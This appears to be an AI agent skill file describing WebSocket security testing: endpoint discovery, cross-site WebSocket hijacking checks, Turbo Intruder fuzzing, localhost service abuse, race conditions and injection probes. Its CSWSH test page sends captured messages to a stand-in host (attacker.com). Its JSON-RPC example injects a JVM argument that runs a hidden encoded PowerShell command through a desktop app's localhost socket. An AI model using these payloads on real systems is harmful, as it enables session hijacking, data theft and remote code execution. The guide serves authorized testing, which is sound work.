| name | websocket-security-testing |
| description | Perform WebSocket security testing including enumeration, fuzzing, CSWSH detection, and vulnerability assessment. Use this skill whenever the user mentions WebSocket testing, real-time communication security, wss/ws endpoints, cross-site WebSocket hijacking, or needs to audit WebSocket implementations for vulnerabilities like race conditions, prototype pollution, or authentication bypass. |
WebSocket Security Testing
A comprehensive skill for testing WebSocket implementations for security vulnerabilities.
When to Use This Skill
Use this skill when:
- Testing WebSocket endpoints (
ws:// or wss://) for security issues
- Auditing real-time communication channels in web applications
- Investigating potential Cross-Site WebSocket Hijacking (CSWSH)
- Fuzzing WebSocket messages for injection vulnerabilities
- Testing localhost WebSocket services exposed by desktop applications
- Analyzing WebSocket race conditions or DoS vectors
Quick Start
websocat --insecure wss://target.com/ws
stews --url wss://target.com/ws --scan
WebSocket Fundamentals
Connection Establishment
WebSocket connections start with an HTTP handshake:
GET /chat HTTP/1.1
Host: target.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: <base64-random>
Connection: Upgrade
Upgrade: websocket
Key headers to examine:
Sec-WebSocket-Key: Unique per handshake (not for auth)
Sec-WebSocket-Accept: Server's hash response
Origin: Should be validated by server
Cookie: Often used for authentication (CSWSH risk)
Protocol Variants
| Protocol | Description |
|---|
ws:// | Unencrypted WebSocket |
wss:// | TLS-encrypted WebSocket |
| Socket.IO | WebSocket with custom framing (EIO=4 parameter) |
Enumeration
Manual Discovery
-
Find WebSocket endpoints:
- Search JavaScript files for
new WebSocket(
- Look for
ws:// or wss:// in network traffic
- Check for Socket.IO patterns (
socket.io, EIO=)
-
Use automated tools:
stews --url wss://target.com/ws --scan
websocat --insecure wss://target.com/ws -v
Tools Reference
Cross-Site WebSocket Hijacking (CSWSH)
Detection Checklist
CSWSH is possible when:
Test Script
Create a test page to check for CSWSH:
<!DOCTYPE html>
<html>
<head><title>CSWSH Test</title></head>
<body>
<script>
const ws = new WebSocket('wss://target.com/ws');
ws.onopen = () => {
console.log('WebSocket connected - CSWSH may be possible');
ws.send('READY');
};
ws.onmessage = (event) => {
console.log('Received:', event.data);
fetch('https://attacker.com/collect?d=' + encodeURIComponent(event.data),
{mode: 'no-cors'});
};
ws.onerror = (err) => console.error('Connection failed:', err);
</script>
</body>
</html>
Mitigations to Verify
| Protection | How to Check |
|---|
| Origin validation | Server rejects requests with mismatched Origin |
| CSRF tokens | WebSocket requires token in message or query param |
| SameSite cookies | Cookies have SameSite=Lax or SameSite=Strict |
| Token auth | Authentication via header/token, not cookies |
Fuzzing with Turbo Intruder
Basic Fuzzing Script
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@MatchRegex(r'{"user":".*"}')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
Socket.IO Fuzzing
Socket.IO requires special handling:
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(
HttpParameter.urlParameter("EIO", "4")
)
)
connection.queue('40')
connection.queue('42["message","hello"]')
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
HTTP Middleware Pattern
Bridge WebSocket to HTTP for scanner compatibility:
def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection
@MatchRegex(r'{"user":"You"}')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
Then send HTTP requests:
POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16
{"message":"test"}
Localhost WebSocket Abuse
Port Discovery
Desktop applications often expose WebSocket services on localhost:
async function findLocalWs(start = 20000, end = 36000) {
for (let port = start; port <= end; port++) {
await new Promise((resolve) => {
const ws = new WebSocket(`ws://127.0.0.1:${port}/`);
let settled = false;
const finish = () => {
if (!settled) { settled = true; resolve(); }
};
ws.onerror = ws.onclose = finish;
ws.onopen = () => {
console.log(`Found WebSocket on port ${port}`);
ws.close();
finish();
};
});
}
}
JSON-RPC Exploitation
Many localhost services use JSON-RPC:
const ws = new WebSocket('ws://127.0.0.1:PORT/');
ws.onopen = () => {
ws.send(JSON.stringify({
type: 'method',
name: 'createModpack',
args: {}
}));
};
ws.onmessage = (event) => {
const data = JSON.parse(event.data);
if (data.MinecraftInstanceGuid) {
ws.send(JSON.stringify({
type: 'method',
name: 'minecraftTaskLaunchInstance',
args: {
MinecraftInstanceGuid: data.MinecraftInstanceGuid,
AdditionalJavaArguments: [
'-XX:MaxMetaspaceSize=16m',
'-XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand ..."'
]
}
}));
}
};
Race Conditions
Testing Approach
Use THREADED engine for race condition testing:
def config():
return {
'engine': 'THREADED',
'concurrency': 100
}
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
connection.queue(message)
Common Race Scenarios
- Double-spend attacks
- Token reuse
- State desynchronization
- Authentication bypass
DoS Testing
Ping of Death
Craft malformed frames to test server resilience:
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
Warning: Only test with authorization. High-rate fuzzing can cause real DoS.
Other Vulnerabilities
Input Validation
WebSockets can carry the same vulnerabilities as HTTP:
- XSS: Malicious payloads in WebSocket messages
- SQLi: User input in database queries
- Command Injection: Shell commands in message data
- Prototype Pollution:
__proto__ in JSON messages
Prototype Pollution Detection
{"__proto__":{"initialPacket":"Polluted"}}
If server behavior changes (e.g., echo includes "Polluted"), prototype pollution is possible.
WebSocket Smuggling
Bypass reverse proxies by faking WebSocket handshakes:
GET / HTTP/1.1
Host: target.com
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Key: <key>
Sec-WebSocket-Version: 13
[Malformed body to confuse proxy]
Testing Workflow
-
Reconnaissance
- Find WebSocket endpoints in JS files
- Map authentication mechanisms
- Identify protocol (WebSocket vs Socket.IO)
-
Enumeration
- Run STEWS for automated scanning
- Test with websocat for manual exploration
- Capture legitimate traffic for protocol analysis
-
Vulnerability Testing
- Test for CSWSH (cookie auth + no Origin check)
- Fuzz messages for injection vulnerabilities
- Check for race conditions with parallel connections
- Test localhost services if applicable
-
Documentation
- Record all findings with evidence
- Include reproduction steps
- Suggest mitigations
Safety Guidelines
- Authorization required: Only test systems you own or have permission to test
- Rate limiting: High-rate fuzzing can cause DoS
- Malformed frames: May crash servers
- Data handling: WebSocket messages may contain sensitive data
References